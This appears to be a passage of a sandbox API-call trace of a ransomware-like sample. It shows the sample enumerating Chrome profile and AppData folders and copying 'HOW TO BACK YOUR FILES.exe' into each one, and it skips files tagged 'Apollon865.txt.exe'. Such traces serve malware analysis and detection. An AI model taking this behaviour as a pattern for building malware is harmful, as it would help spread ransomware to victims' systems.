	[0050.252] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg"
	[0050.252] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.252] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0050.256] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.256] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\bg\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x360720d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x360720d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca410
	[0050.256] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.256] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.256] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar"
	[0050.256] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar"
	[0050.256] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.256] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0050.260] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.260] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857953d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x360720d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x360720d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca410
	[0050.260] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.260] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.260] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State"
	[0050.261] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State"
	[0050.261] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.261] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension state\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0050.267] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.267] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x824ad030, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x360720d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x360720d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca410
	[0050.267] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.267] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.267] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules"
	[0050.267] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules"
	[0050.267] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.267] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension rules\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0050.273] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.273] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82ad9940, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x36098230, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x36098230, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca410
	[0050.273] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.273] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.273] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb"
	[0050.273] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb"
	[0050.273] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.273] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\data_reduction_proxy_leveldb\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0050.278] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.278] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x802d66a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x36098230, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x36098230, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca410
	[0050.279] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.279] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.279] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache"
	[0050.279] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache"
	[0050.279] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.279] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\cache\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0050.284] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.284] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x805aa0c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x360be390, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x360be390, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca410
	[0050.284] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.284] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.285] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad"
	[0050.285] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad"
	[0050.285] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.285] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\crashpad\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0050.289] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.289] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f598c40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x360be390, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x360be390, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca410
	[0050.289] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.289] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.290] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\reports", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\reports") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\reports"
	[0050.290] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\reports" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\reports") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\reports"
	[0050.290] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.290] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\reports\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\crashpad\\reports\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0050.293] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.293] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\reports\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f598c40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x360be390, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x360be390, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca410
	[0050.294] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.294] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.294] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency"
	[0050.294] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency"
	[0050.294] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.294] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\certificatetransparency\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0050.298] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.298] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateTransparency\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x360be390, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x360be390, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca410
	[0050.298] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.298] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.298] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Deployment", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Deployment") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Deployment"
	[0050.298] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Deployment" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Deployment") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Deployment"
	[0050.298] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.298] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Deployment\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\deployment\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0050.302] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.302] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Deployment\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65e16800, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x360e44f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x360e44f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca410
	[0050.303] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.303] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.303] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps"
	[0050.303] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps"
	[0050.303] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.303] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0050.307] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.307] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x360e44f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x360e44f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca410
	[0050.307] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.307] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.307] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0"
